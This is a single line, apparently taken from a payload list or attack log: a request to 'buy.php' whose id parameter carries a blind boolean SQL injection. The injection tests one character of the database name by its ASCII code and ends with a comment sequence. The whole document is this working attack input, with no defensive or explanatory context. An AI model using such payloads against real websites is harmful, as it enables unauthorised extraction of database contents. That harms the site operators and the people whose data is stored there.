buy.php?id=1'+AND+ascii(substring((database()),33,1))=55+and+2=2--+-